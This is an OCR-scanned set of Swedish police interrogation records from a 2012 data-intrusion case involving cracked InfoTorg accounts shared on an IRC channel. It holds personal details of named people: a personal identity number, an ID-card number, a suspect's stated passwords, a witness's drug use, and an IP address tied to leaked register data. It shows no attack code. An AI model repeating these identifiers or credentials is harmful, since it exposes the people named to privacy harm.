P34, dockningsstation, IBM. 

Tillhör Mathias, ej anspråk. 

P35 ,  router. 

Tillhör Mathias . Lisa gör anspråk eftersom hon är beroende av routem for att kunna använda 
Internet i lägenheten. 

P36, router. 

Tillhör Mathias . Ej anspråk 

P37, triple play box. 

Tillhör Mathias, ej anspråk. 

P3 8,  switch. 

Tillhör Mathias, ej anspråk. 

P39, router. 

Tillhör Mathias, ej anspråk. 

P40, mobiltelefon, ZTE. 

Tillhör Lisa, anspråk. 

P4 1 ,  dockningsstation. 
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Tillhör Mathias, ej anspråk. 

P42, WiFi antenn. 

Tillhör Mathias. Lisa har sett den i lgh, men vet inte om Mathias har använt den. 

P43 , WiFi adapter 

Tillhör Mathias, ej anspråk. 

När beslagsförhöret avslutats fortsätter förhöret med kompletterande frågor. 

Lisa har inte kommit på något nytt att berätta om sedan det förra förhöret. 

Tillfrågad om hennes och Mathias Gustafssons umgänge och deras eventuella tillgång till 
hennes och Mathias datorer, svara Lisa att det endast är Robin Åström som är granne med 
dem som varit på besök och använt datorerna. Robin Åström är som Lisa ungefår när det 
gäller datorkunskaper, han kan bara surfa lite på facebook och sådant som de flesta kan. 

Hon känner inte till om någon granne kan ha haft fjärrtillgång till någon av deras datorer. 

Enligt Lisa så är Mathias Gustafsson riktigt duktig på datorer. Både på att mecka med dem 
men också på att använda dem. Han är en riktig "hacker" enligt henne. Hon känner ingen 
person som är bättre på datorer tekniskt sett än vad Mathias är. Han använder sig av "Linux" 
operativsystem. Han är duktig på att hantera program och att hitta fel om det är något som 
inte fungerar. 

Tillfrågad om hon känner till om Mathias har haft fjärrtillgång till grannamas datorer svarar 
Lisa att hon är osäker på det, hon vet inte med säkerhet att det är så, men det kan vara så 
säger hon. 

Lisa kan i stort sett ingenting om datorer. Hennes användande av datorer sträcker sig till att 
använda Facebook, MSN och Flashback. Mathias kan allt om datorer och det är han som 
använder alla de prylar som finns i beslag. 

Mathias laddar ofta ned filmer och spel från nätet. Han snackar med kompisar på något forum 
via nätet. Det är hackerkompisar som han utbyter erfarenheter med, men exakt vad han gör 
vet hon inte. 

Lisa har inte varit inne på "Infotorg" .  Hon vet inte ens vad Infotorg är för något. 

Lisa har aldrig hört talas om någon som heter Conny Rosenholm. 

Lisa har sagt åt Mathias att han borde ta betalt av sina kompisar när han lagar deras datorer. 
Vad hon vet så tjänar han ingenting på sina kunskaper om datorer. 

Lisa tillfrågas om ett sms från en person som heter "Markie" .  Det lyder "Hänger med Lars 
och Dan så hörde vad Gus skrev till Lars, är det värda grejer? 

Lisa tillfrågas vad detta sms kan ha handlat om. 
Lis svarar att Marie är en person som Lisa brukar klippa håret på. Sms :et handlar med största 
sannolikhet om kvaliteten på narkotika som skulle inköpas. Lisa är missbrukare och använder 
sig mest av amfetamin. Med Gus menas Mathias Gustafsson. 
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Uppläst i anteckningsform och godkänt. 
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Polismyndighet 

Stockholms län 
Enhet 

Förhör 
24 : 8  förhör 

Signerat av 

Signerat datum 

Diarienr 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 020 1 -K8 1 864- 1 2  
Hörd person Personnummer 

Smedlund, Johan Kristoffer Robin 1 9800323-4674 

Den hörde är 

Misstänkt 

Tolk 

I D  Styrkt 

Ja 

Brottsmisstanke l Anledning ti l l  förhöret 

Sätt Stäl ln ing t i l l  m isstänkt - målsägande - vittne 

Svenskt nationellt id-kort nr 

70232370 
Språk 

Misstankarna mot Smedlund avser dataintrång alternativt medhjälp till dataintrång från och med l 
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januari 20 1 0  till och med förhörsdatum. Intrånget har skett vid flera tillfållen via internet i databas som 

tillhör Logica och innehåller information som används av ett flertal myndigheter, bl.a. personuppgifter 

Intrång har även skett vid flera tillfållen via Internet genom olovlig anslutning och sökning i lnfoTorgs 

databas. 
Underrättad om misstanke 

Ja 
Försvarare/ombud önskas 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-05-3 1 08 :2 1 08 : 55  
Typ av förhör Förhörssätt 

RB 24 : 8  
Utskrivet av 

Kristoffer Smedlund underrättad om vad misstankarna avser, se ovan i fältet anledning till 
förhör. 

Smedlund informerades vidare om rätten till försvarare och om han önskar någon särskild 
försvarare. 

Smedlund förnekar brott och anser inte att han är i behov av försvarare. 

Smedlund tillfrågas om sin datorvana. 

Smedlund anser att han har stor datorvana. Han har jobbat med datorer sedan 90-talet och 
egen erfarenhet sedan han var liten i mitten på 80-talet. 

Smedlund äger tre datorer, en stationär, en laptop (ägs av Smedlunds arbetsgivare, 23critters 
AB) och en mediaspelare som är kopplad till TV. Smedlund är delägare i 23critters AB. 

Den stationära datorn är en hemmabyggd PC. De båda andra datorerna är av fabrikat Apple. 
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Smedlund har endast lösenord till sin MAC. K414scl0wn. I övrigt inga lösenord. 

Inga krypteringar på de egna datorerna förekommer. 

Smedlund har ett trådlöst närverk, en router. Nätverket är öppet, inget lösenord vilket betyder 
att alla som finns inom räckhåll för routern kan surfa på Smedlunds närverk 

Smedlund säger att hans vänner som är på besök kan använda hans datorer om de är i behov 
av det. 

Smedlund har inte vad han känner till haft något virus på sina datorer. Han har inga andra 
fjärrstyrningsprogram än de som kommer med Windows. 

Smedlund tillfrågas om han har några egna tankar om varför han har anhållits misstänkt för 
detta brott som han delgivits. 

Smedlund misstänker att det kan hänga ihop med att han har befunnit sig i ett chattrum där 
det har diskuterats om ett intrång i skatteverkets databas . Där har också ryktats om att en 
person som heter Mathias har gripits för detta intrång. Denna Mathias känner Smedlund 
endast till genom att de båda har befunnit sig i samma chattrum. Smedlund har träffat Mathias 
personligen för många år sedan på ett dreamhack i Borlänge. 

Uppläst och godkänt. 
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Signerat av  

John G Steenmark Förhör 
Förhör häktet F lemingsberg Smed l u n d .  Signerat datum 

Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Smedlund, Johan Kristoffer Robin 

Den hörde är ID styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

20 1 3 -03-22 08 :45 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 9800323-4674 

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Misstankarna mot Smedlund avser dataintrång alternativt medhjälp till dataintrång från och med l 
januari 20 1 0  till och med förhörsdatum. Intrånget har skett vid flera tillfållen via internet i databas som 

tillhör Logica och innehåller information som används av ett flertal myndigheter, bl.a. personuppgifter. 

Intrång har även skett vid flera tillfållen via Internet genom olovlig anslutning och sökning i InfoTorg� 

databas. 
U nderrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud önskas 

Johan Cahp, Juristhuset 

Förhörsledare 

John G steenmark 
Förhörsplats 

Häktet Flemingsberg 
Förhörsvittne 

Berättelse 

Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-06-07 1 0 :00 1 0 :20 

Typ a v  förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 

Utskrivet av 

Ytterligare närvarande vid förhöret var förutom advokaten Johan Cahp, bitr. förhörsledare 
Olle Wahlström och Joakim Persson. 

Fhl: Då ska vi ställa lite frågor till dig här, så börjar vi beta av dom. Har du 
nånting som du vill lägga till eller ändra från ett tidigare förhör? Du har ju 
blivit förhörd tidigare av en kollega till mig eller om du nånting från 
häktnings-förhandlingen som du har sagt eller nånting sånt där. 

KS : Till och börja  dom anmärkningarna då . . .  

Adv:  Men det var protokollsanmärkningar, det var inte anmärkningar som du 
har sagt. 

KS : Precis !  Nej ,  just det. 

Adv:  Utan det är på att man har missuppfattat en del .  
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KS : Ja . . .  

Fhl : . . .  ifrån häktningsförhandlingen. 

Bful: Och det kan du väl säga . . . . 

KS : J a, precis !  

Adv: D å  har jag missuppfattat två saker vid häktningsförhandlingen. 

KS : Nu har jag läst igenom själva brottsmisstanken här då, så står att jag är 
misstänkt för s .k. cracking i en s.k. stordator, och detta för mig . . . . Alltså, det 
betyder inte nånting direkt. Det verkar som man har likställt cracking och 
hacking där hacking då är så där innan man faktiskt gör ett dataintrång. 

Cracking däremot, det handlar ju om att dek:ryptera saker, det handlar om att ta 
en lista på krypterade konton och göra om till klartext, va. Så att det är ju 
ingenting man gör i en dator, det är ju nånting man gör hemma i sin egen dator. 
Så det, det är väl det första och anmärka på då att . . .  eller är väl egentligen det 
enda jag har och anmärka på då att ordet "cracking" verkar ha tolkats som 
hacking. 

Fhl : Ja, okej . 

Adv: Ja, det gjorde du utav åklagaren i alla fall. 

Fhl : Ja, just det men själva misstanken, den . . . . 

( Genom högtalare efterlyses en person) 

Fhl : Hur stänger man av den här? 

Adv: Aa, den där tror jag inte du kan stänga av. 

Fhl : Det går inte? 

Ad v: Näe, inte vad jag vet i alla fall. 

Fhl : Nehej . . .  

Adv: Man brukar ha den och ropa när man vill komma . . . . 

Fhl : Ja, okej . Men, misstanken den vet du, den har du fått uppläst för dig? 

KS : Den har jag fått uppläst, ja. 

Fhl : Den formella misstanken. 

KS : Ja. 

Fhl : Och det avser dataintrång. 
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KS : Precis. 

Fhl : Brottet: Dataintrång. 

KS : Ja. 

Fhl : Det är bra. Det var inget annat som du har sagt eller nånting som . . . . ? 

KS : Jag vet inte om den andra saken är nånting som ens lyder polisen? 

Adv: Den gör det faktiskt inte, det är tingsrättens protokollering som det . . .  Du 
får göra en protokollsanmärkning. 

Fhl : Du vet vad det rör sig om i alla fall? 

KS : Ja, det har jag förstått, ja. 

Fhl : Vad känner du till om det här intrånget? 

KS : Jag har ju då suttit i en chattkanal som heter . . .  Ja, " hack. se " ,  som finns 
på . . .  ja, ett stort antal chatt-nät. I den här så har människor suttit och eraekat 
dom här kontona. 

Fhl : Vilka konton? 

KS : Aa, dom här Infotorg-kontona då och när dom har gått framåt så har dom 
sagt det i kanalen: "Haha . . .  Titta ! Pas te" ,  " "Haha . . .  Titta ! Pas te ! " .  J ag har väl 
följt det här med ganska . . .  Alltså, det är ju intressant, det är ju roligt liksom. Jag 
har inte så mycket action i mitt liv. A det är väl så j ag vet . . .  vet om att det har 
skett liksom. A sen då att Mattias försvann. 

Fhl : Kan du berätta hur det började på kanalen med dom här . . .  ? Du säger 
"dom här konton" säger du. 

KS : Jaa . . .  

Fhl : Hur börj ade det där då? 

KS : Det vet jag faktiskt inte, utan det är ju nån . . .  nån har ju fått tag i . . . . 

Fhl : Hur var det som du upplevde det då? När började det för dig? När tog du 
del av dom här uppgifterna? 

KS : Alltså, jag har ju inte tagit del av uppgifterna utan bara tittat på dom och då 
var dom krypterade . 

Fhl : Men via chatt-kanalen, menar jag, ungefär. 

KS : Ja, okej via . . . . Det var i våras nån gång, kanske februari mars där nånstans . 
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Fhl : I våras? 

KS : Jo . . .  

Fhl : Vilka ni två var det som började snacka om det där då? 

KS : Det minns jag faktiskt inte vilka som började snacka om det där. 

Fhl : Vilka är det som har tillgång till den här kanalen hack.se? 

KS : Varje  dag så är det mellan 40 - 50 personer där. 

Fhl : Och det är inte helt enkelt och komma in där eller hur? 

KS : Jo, det är väl bara och gå in i kanalen. Man blir oftast utsparkad om dom 
inte vet vem man är eller kan presentera sig. 

Fhl : Ja, precis . Okej . Det började nån gång, när sa du? 

KS : I våras nån gång. 

Fhl : I våras . 

KS : Jo . . .  Jag är inte helt säker på det, men jag tror det var februari mars nån 
gång, nånstans där. 

Fhl : Och du har ingen aning om vilka nix (?) som började snacka om det här? 

KS : Näe. 

Bfhl:  Vet du vilka som har pratat över huvud taget om det här, inte bara i 
början så att säga utan vilka som har vart med, som har haft kännedom om det 
h .. ? ar . 

KS : Näe, alltså det är ju mest diroxo (?) 32 .40 eller Mattias som ni säkert 
känner honom som, som har pratat om det här. 

Fhl : På vilket sätt har han pratat om här? 

KS : Ja, bl.a. då genom och erbjuda mig konton i Infotorg, genom och säga att 
han sitter och crackar, genom och snacka om sökningar och sånt och då genom 
och pasta, alltså hela sökningar i kanalen. 

Fhl : I kanalen. Vad har du gjort med det här materialet då som har pastats? 

KS : Det har jag väl inte gj ort nåt särskilt med, som det har kommit nåt sån här 
lite rolig grej , nu minns j ag inte riktigt vad det var, men det var nån sån 
här . . .  lite kändispersoner och sånt som folk pastade runt, inlägg från dom. 
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Fhl : Hur pass väl känner du Mattias Gustafsson? 

KS : Inte särskilt väl, för tio år sen så kände jag honom mer väl, men vi har gått 
lite olika vägar sen dess .  Jag skaffade företag och vad jag har förstått så har väl 
han gått lite åt andra hållet då. 

Fhl : Okej . Hur mycket kontakter har du haft med honom under dom här åren? 

KS : Nästan ingen, det är väl väldigt sällan, på IRC då. 

Fhl : På IRC. 

KS : Ja. 

Fhl : Okej . Men du vet vem det är och även . . .  alltså, du vet hans namn och . . .  ? 

KS : Alltså, jag vet hans förnamn, men jag var inte säker förrän . . .  förrän ni då 
började kalla honom Mattias, Mattias eller Tomas trodde jag att det var. Men 
jag vet ju vad han heter på IRC, j ag har träffat honom några gånger, senast 
2003 tror jag och liksom han, barndomsbekant från Internet. 

Fhl : Kan du berätta vad han har sagt då? 

KS : Jämt specifikt . . . . Alltså, det här var ju några månader sen nu och ingenting 
direkt jag har lagt på minnet så där. Så förutom det här då, att han erbjöd mig 
konton i Infotorg, vilket jag faktiskt mest kommer ihåg på grund av att 
åklagaren läste upp det, så har han även pratat om . . .  alltså, sökningar å roligt, 
lite så där. Jag vet att dom pastade . . .  vad heter han? . . .  Abbas . . .  Abbas, den här 
terroristsnubbens . . .  j a, nåt databasentery om honom å folk skrattade lite . Men 
jag kan inte minnas nån så här direkta specifika grejer han har berättat för mig, 
men vi är ju å andra sidan inte så goda vänner heller. 

Bfhl:  Du säger att han erbjöd dig konto så att säga, tog du emot några konton 
då eller . . .  ? 

KS : Näe . . .  

Bfhl:  Varför inte det då? 

KS : För att j ag inte ville, och om jag skulle vilj a  ha dom, så skulle jag bara 
behövt serolla uppåt i den här chattloggen då och kunna klippa ut dom där. Så 
det har liksom inte varit . . .  det har inte varit intressant och ta emot nånting av 
honom. 

Bfhl: Så det var inte så att du hade tillgång till konton redan? 

KS : Ja, genom den här chattloggen då, så låg dom ju där. Så det, det är väl 
liksom . . . . Alltså, tillgång till hade ju alla i kanalen, dom som eraekades då. 

Bfhl: Hur många var det som eraekade sig in där? 
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KS : Det kan jag inte svara på, vad jag kan så här direkt 20 . . .  40 st kanske under 
några veckor där. 

Bfhl: Var det bara du som crackade? 

KS : Näe, det var det inte, det var fler. 

Bfhl :  Och med fler så var det då? 

KS : Jag kan inte erinra mig eller jag kan inte minnas liksom vilka exakta namn 
som . . .  som faktiskt var med och jag vill inte säga nånting lite halvsäkert 

Fhl : Och det här intrånget, vad gick det ut på och vad var din uppfattning? Vad 
var det som hade hänt? 

KS : J ag har ingen aning faktiskt. Man kan ju dra slutsatsen att på nåt sätt har ju 
folk kommit över dom krypterade lösenorden. 

Fhl : Jag tänkte mest på vad som sas på forumet. 

KS : Jaha ! Neej ,  det var nog ingen som direkt visste eller om dom visste, så sa 
dom inte det i kanalen. Å det är inte så konstigt, man brukar hålla . . .  som man 
har hittat nån så här häftig bugg, så håller man den hemlig. 

Fhl : Vilka nix är det som är mest frekventa på den här kanalen? 

KS : Ursäkta? 

Fhl : Vilken nix, användamamn, är det som är mest frekvent på den här kanalen? 

KS : Alltså, det är ju ett 40-tal som alltid är där och det är ju . . . . Alltså, dom 
flesta är ju alltid anslutna. Så att det är ju inte att folk kommer och går utan att 
dom alltid ligger där. 

Fhl : Känner du till "Leka" , "Veka" . . .  ? 

KS : Veka . . .  Ja ! Det känner j ag igen, ja. 

Fhl : Vet du vem det är? 

KS : Ja, j ag känner igen nicket. 

Fhl : Hur pass väl känner du till det? 

KS : Det är väl lite samma sak där, att han . . .  han umgicks j ag med en del på . .  . i  
slutet av 90-talet början på -00 då. 

Fhl : Fysiskt? 

593 



Förhör med Smed lund ,  Johan Kristoffer Robin ;  20 1 2-06-07 1 0 :00 d iarienr: 020 1 -K8 1 864-1 2 

KS : Vi har träffats fysiskt några gånger, ja. Vi har haft . . . . 

Fhl : Vad heter han? 

KS : (Funderar) Det minns jag faktiskt inte, jag har alltid kallat honom "Deka" . 

Fhl : Var har du träffat honom nånstans? 

KS : Jag har träffat honom här i Stockholm när han bodde här. Vi jobbade lite 
snabbt tillsammans under två tre månader. 

Fhl : Var jobbade ni nånstans? 

KS : I Sundbyberg. 

Fhl : Var? 

KS : Företaget hette . . .  , nu ska vi se.  (Funderar) Å produkten hette 
Tass . . . . Trustlove . . .  Trustlove hette företaget. Just det. 

Fhl : Hur gammal är han? 

KS : Jag tror han är ungefår lika gammal som mig, så han borde väl va . . .  j a, -80 
nånstans. 

Fhl : Okej . Född -80? 

KS : Tror jag, men det är bara visuellt eller uppskattning. 

Fhl : Ja, okej . Har den personen varit delaktig i det här resonemanget kring 
dom här kontona? 

KS : Det tror j ag inte . Han är inte så ofta i hacka. se länge, utan han är - vad jag 
har förstått - har han flyttat nånstans och skaffat så här fru . . .  eller flickvän och 
bostad och så där. 

Fhl : "Hapan" då? 

KS : Hapan känner j ag.  

Fhl : Det gör du? 

KS : Ja. 

Adv: Vad sa du? Apan? 

KS : Hapan, ja. 

Fhl : Du känner honom? 
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KS : Japp. 

Fhl : Vem är det? 

KS : Det är en gammal kollega till mig från TDC som är Danska Telia då, typ. 
Vi j obbade tillsammans utanför Sollentuna i Häggvik i 5 år. 

Fhl : Okej . Vad heter han? 

KS : Han heter Adam Balogg. 

Fhl : Okej . Brukar han hänga mycket på . . .  ? 

KS : Han är en av dom som alltid hänger där. 

Fhl : Ja, okej . Har han pratat nånting om det här? 

KS : Näe . . .  

Fhl : Ingenting? 

KS : Näe, jag tror inte han är typen som sysslat med nåt sånt ens . . .  ens förr i 
tiden då. Men det . . .  det . . .  Som sagt, han lärde jag känna när jag börj ade jobba 
på TDC 2006, så han är en ganska . . .  ganska sen bekant. 

Fhl : Vi har ju påträffat en del datorer Mae Popro (?), en stationär dator, en vit 
stationär dator. 

KS : Ja. 

Fhl : Nåt hembygge, nu får ni hjälpa mig lite grand . . .  

KS : Mae Mini borde ni du haft också. 

Fhl : J a. Mae Mini . Vad har vi mer? 

B ful : Vi hade en massa alltså hårddiskar, vi har ju plockat isär den här Compaq 
Minin har vi plockat isär, som låg hemma hos dig också. 

KS : Compaq? ! 

Bful: En HP Compaq Mini 700. 

KS : Låter helt obekant. Vad är det för nåt? 

B ful : Påträffas i en påse hos dig. 

KS : Vad . . .  Vad är det för slags apparat eller som . . . . ? 

B ful : En mini laptop. 
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KS : Jaha! Ja ! Ja ! Nu fattar j ag.  Yes ! Japp. 

Fhl : Lite klistermärken och grejer på. 

KS : Just det. 

Fhl : Är det dina prylar det? 

KS : Det är mina alla dom där. 

Fhl : Den här hårdisken där då, dom lösa som har legat i lådor och sen är 
det . . . . Var kommer dom ifrån? 

KS : Gammal . . . .  Gammalt strunt ! Det är svårt och kasta även när man inte 
behöver dom. 

Fhl : Har du några telefoner också? 

KS : Vi har väl haft . . .  

Fhl : Som Kristoffer hade? 

B ful : Det borde ni ha haft, ja. 

KS : Jaa . . .  

Bfhl:  Två telefoner var det väl vi tagit, va? 

Fhl : Ja. Och vad är det för telefoner som . . . . ? 

KS : Jag har ju en HTC, vad heter den? . . .  EVH3D (?) och sen har jag även en 
Iphone då i jobbet för . . .  för och utveckla den här. 

Fhl : Okej . Vilka grejer är det du använder dagligdags nu? 

KS : Det är väl min vita stationära dator och den här laptoppen har väl inte 
riktigt använts sen jag köpte den. 

Fhl : Vad har du den vita till då? Vad gör du för nånting? 

KS : Mest sitter jag faktiskt och spelar. 

Fhl : Ja, det verkar va en speldator. 

KS : Ja. (skrattar) Det är ju det att . . . . Näe, j ag sitter ju och pratar IT -utveckling 
och . . .  ohörbart . .  23 .4 1 l O  timmar om dygnet på j obbet, så det . . . .  Jag orkar inte 
sitta med det mer när j ag kommer hem, utan det är spel och lite film och så där. 

Fhl : Och din Mae då, den här Mac-booken? 
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KS : Ja, det är min f.d. huvuddator då så att säga. 

Fhl : Okej . 

KS : Just nu används den väldigt sällan. Ibland har jag nån kompis på besök 
eller när man . . .  vi ligger ner i soffan och datar typ. 

Fhl : Din arbetsplats, har du några maskiner där som du använder, alltså som är 
dina eller din arbetsstation eller . . .  ? 

KS : Näe . . .  Alltså, jag har ju en . . . . Det står en arbetsdator där, men den är inte 
mm. 

Fhl : Den är inte din? 

KS : Näe . . .  

Fhl : Det var nån laptopp som du har på jobbet. 

KS : Jaa, det har jag.  

Fhl : Det har du? 

KS : Ja, det är den jag menar då att det är. Jag har en dator som står på jobbet 
. . .  ohörbart . . .  22 .56  

Fhl : Okej . Det är en laptopp? 

KS : J a, precis ! 

Fhl : Okej . Vad har du för Internet-operatör hemma för din laptopp? 

KS : Vad heter dom? T3 tror jag dom heter, norrländsk. 

Fhl : TT? 

KS : J ag tror dom heter T3 . 

Fhl : Vad har du för uppkoppling? 

KS : Jag tror jag har l 0011 00, hoppas jag i alla fall att det var det jag beställde. 
(skrattar) Det kan va 1 1  O också. 

Fhl : Okej . 

Bfhl:  Hur länge har du haft den operatören? 

KS : Inte j ättelånge, sen . . .  ska vi se (funderar) . . .  , i somras var det ett år, så det 
borde ju va snart två år helt enkelt. 
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Bfhl:  Har du några mobila Internet-abonnemang? 

KS : Aa, inte förutom det som är i telefonen då. 

Bfhl:  Vad har du för nåt där då? 

KS : Ja, det är ju Telia och det är mitt vanliga telefonabonnemang men det går 
ju data över dom nu för tiden också. 

Fhl : Kan du berätta lite om din router du har hemma? 

KS : Det finns inte så mycket och säga om den, det är en vanlig, j ag vet inte om 
det är en Net-G (?) eller D-Link, vanlig hemmarouter . . .  ohörbart . . .  wifi. 2 1 .32 .  

Fhl : Vad har du för lösenord till det då? 

KS : (Suckar) Menar du h . . . . Alltså . . .  

Fhl : Komma in i gränssnittet på routem. 

KS : Oj ! Det kan antingen om . . . . Är det inget lösenord eller så är det 
" slask123"  som är mitt. 

Fhl : Okej . Antingen eller . . .  ? 

KS : Ja, precis. 

Fhl : Har du nån kryptering på den? 

KS : Näe, eller . . . .  Alltså, wifi-nätet är väl krypterat i sig men inte liksom på . . . . 
Det beror på lite på vad du menar faktiskt. 

Fhl : Varför är du ansluten till din accesspunkt? 

KS : Ehh . . .  Ja, eller det är väl till https,  så det är väl krypterat. 

Fhl : Jo, men . . .  

KS : Menar du själva wifit eller . . .  ? 

Bfhl:  Jag tror att John menar wifit, ja. Precis ! 

KS : Precis. Aa, nej jag har två nät då, ett . . .  ett öppet som heter Free for All som 
inte är krypterat. 

Fhl : Okej . 

KS : Å sen har j ag mitt egna slutna som är krypterat. 
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Fhl : Okej . 

Bfhl: Vad heter det? 

KS : (Funderar) Jag minns faktiskt inte . Det kan nog heta KRS, faktiskt. Det 
är . . . . Man är ju automatansluten, så det ser man ju typ en gång. 

Fhl : Har du tillgång till externa lagringsplatser? Måltjänster? . . .  ohörbart . . .  20.07 

KS : Ehh . . .  Jag har väl inga så här direkta konton på externa måltjänster förutom 
G-mail då. 

Fhl : Inget annat? 

KS : Neej .  

Fhl : Ingen FTP-access eller nåt sånt där? 

KS : N eej ,  inget sånt. 

Fhl : Vad har du för lösenord till din den här lilla Compaqen? 

KS : Det kan jag tyvärr inte säga, för att den lånar min flickvän och installerade 
om när hennes dator gick sönder och sen dess har den bara legat i den där påsen 
då som . . .  , samma påse jag fick tillbaka nu. 

Fhl : Där har du ju en krypterad hemkatalog. 

KS : Har jag? 

Fhl : Mm . . .  

KS : Kan förstå det. Nej , den blev helt ominstallerad, s å  den kan jag inte svara 
på nånting om, faktiskt. Den är säkert . . .  ohörbart . . .  på. 1 9 . 1 6  

Fhl : Hur mycket hann hon använda den då? 

KS : Det var ju över sommarn mest, så att . . . . j a, två tre månader där. 

Fhl : Vad brukar hon ha för konto då? 

KS : Hon brukar kallas "Jenny" eller "snigel" . 

Fhl : Är hon duktig på Linux. 

KS : Hon läser på KTH, så det får vi väl hoppas att hon plockar upp ett och 
annat där. 

Fhl : Okej . VPS-tjänster . . .  
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KS : Mm . . .  ? 

Fhl : Har du nån server nånstans? 

KS : Jag har ingen privat. Vi kör på j obbet, vi sysslar ju med IT på jobbet och 
har hostar. Vi hostar alla våra kunder på VPS :er, på City-cloud. Men 
personligt har jag ingen VPS eller något sånt. 

Fhl : Brukar du använda anonymiseringstjänster? 

KS : Neej .  

Fhl : Ingenting? 

KS : Neej .  

Fhl : Inte TOR heller? (?) 1 8 . 1 3 

KS : Jag har använt TOR några gånger, men det är inget som j ag gör ofta. Det 
är mest för att komma åt dom här sighterna som ligger på " punkt on y 
on-adresser " va. Å bara kommer åt genom TOR. 

Fhl : Vi har hittat lite Internet-historik ifrån Google-crome har vi gjort och då 
har vi den här beslagspunkten, det är den stationära, den vita. Du kan kika, då 
ser du här. Det står några lP-adresser här, ser du det? 

KS : Ja, jo ,  jag ser ju lP-adresserna, ja. 

Fhl : Det gör du? 

KS : Mm . . .  Alright ! Mm . . .  

Fhl : Kan du berätta lite om dom? 

KS : Neej ,  det kan jag faktiskt inte, jag kan inte lP-adresser i huvet utan dom 
borde ju ha haft nån . . . . 

Fhl : Näe, men jag tänkte mest . . . .  Ja, du ser ju kanske lite grand vad som står 
och så där. 

KS : Aa . . . . Näe, den andra där ser ju ut . . .  , den ser ju lite skum ut, men . . .  

Fhl : Ja. 

KS : Näe, j ag . . .  j ag minns faktiskt inte alls vad det handlar om. 

Fhl : Du minns inte det? 

KS : Men det är ju alltså . . . . , det pastas 1 0  . . .  20 länkar om dan i . .  . liksom på 
IRC-kanaler som man klickar på. Det är ju en majoritet av fallen, bilder på söta 
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katter, men det där är ju en textfiL Men . . . . Nej , jag . . .  jag kan inte säga nåt 
specifikt nåt mer om det där eller . . .  

Fhl : Sen på den här Mac-booken så finns det också Internethistorik 

KS : Yes .  

Fhl : Och då är det samma lP-adresser men tillkommit . . .  ohörbart . . .  1 6 . 1  O som 
du ser. 

KS : Mm . . .  

Fhl : Ser du det? 

KS : Ja, precis !  Ja, jag ser ju det där, va. Jag har faktiskt ingen aning vad det 
där kan vara. 

Fhl : Ingen aning? 

KS : Neej .  

Bfhl:  Men du har surfat in på båda dom s å  att säga på olika datorer, men du vet 
inte vad det innebar så att säga. 

KS : Så jag . . .  , j ag kan ju inte minnas liksom alla . . .  alla earlar jag har besökt i 
mars . Som ni ser i min historik så är det ju ganska många per dag liksom. 

Bfhl:  Ja, ja, absolut. 

KS : För j ag sitter ju där och surfar 1 6  . . .  20 timmar. 

Bfhl:  Men det är ju inte så ofta man slår in lP-adresser så att säga. 

KS : Näe, alltså, det . . .  det kan jag nästan direkt säga, att det där är ingenting jag 
har slagit in manuellt. Det kan man ju se för det första genom att det står http 
före och det är ju liksom helt onödigt och slå in, utan det där är ju nånting jag 
har klickat på. 

Bfhl:  Jag tror inte just att http behöver inte vara att du har skrivit in det . . .  

KS : Nehej . . .  

Bfhl:  . . . . utan det är snarare bara att det är det som är . . .  ohörbart . . .  1 5 .2 1 

KS : Ja. Men det, det är med största sannolikhet nånting jag bara har klickat på, 
för att jag kan inte minnas skrivit in nåt sånt här. 

Bfhl:  Ska j ag visa vad som finns i dom textfilema? 

KS : Mm . . . .  , j a. 
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Bfhl: För det är nämligen så att google-crome lagras och loggar allting du 
klickar på också och dom innehåller . . . . Det där är "Alt.textl "  och det där är 
"Alt2 .txt" . 

KS : Okej . 

Bfhl: Känner du igen det där materialet? 

KS : Alltså, jag känner igen namnet här, men jag har ingen aning om vad det är 
för siffror. 

Fhl : Ja, det har funnits på din router. 

KS : Ja, det har väl funnits på den här adressen då. 

Fhl : Och i din router. 

KS : Ja, genom . . .  genom sök-hist . . .  eller vad säger du, genom surf-historiken. 
Av . . . . Nej ! Nej ,  jag ska väl inte stå och gissa vad det är heller. Ehh . . .  Nej ,  jag 
kan inte säga nåt särskilt om det här. 

Fhl : . . .  Ohörbart . . .  

KS : Nej ,  jag har j u  en god gissning om vad det är för data i ,  men . . .  varför vi 
sitter här. 

Bfhl:  Men, vad tror du att det är då för nånting? 

KS : Jag tror det har nånting med folkbokföring och göra i och med att det står 
"Folkbokföringsadress saknar" där uppe.  

Fhl : Vem gäller det? 

KS : Det där gäller Svartomberg, Gottfrid Svartomberg, som är Anakata då, 
även känd som The Pirat Bay Adminan. 

Fhl : Känner du honom? 

KS : Han känner jag. 

Fhl : Fred? 

KS : Ah . . .  Jag har väl träffat honom fysiskt för några år sen. Då var det mer när 
vi sysslade med . . .  , vi byggde upp Piratbyrån tillsammans då. Så det är väl mest 
genom Piratb . . .  j a, jag sysslar mer med den politiska delen som Piratbyrån har 
på den tekniska biten utav Pirat Bay . . .  ohörbart . . .  1 3 . 1 8  där. 

Fhl : Och det här andra då? Ser du vem det är? 
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KS : Det ser ut och va bilgrej er, va. Ja, där. Ja, men det är ju den andra The 
Pirat Bay killen då, Fredrik Neij (?) . 

Fhl : Känner du honom då? 

KS : Han känner jag lite sämre än Anakata, men jag . . .  , jag har träffat honom på 
samma sätt där då, att genom Piratbyrån, han The Pirat Bay. 

Fhl : Den här datan, den fanns i ett . . .  hur som helst i din dator. 

KS : Ja. 

Fhl : Ja, på hårddisken. Varför ligger den där? 

KS : Ja, den ligger ju där för att . . .  för att jag har klickat på den där länken då. 

Fhl : Vilken länk? 

KS : Ehh . . .  På den här 1 24 .248 . 1 67 . 1 9 1  : 3980/. 

Fhl : Kommer du ihåg att du gjorde det? 

KS : Näe . . .  , det gör jag inte . 

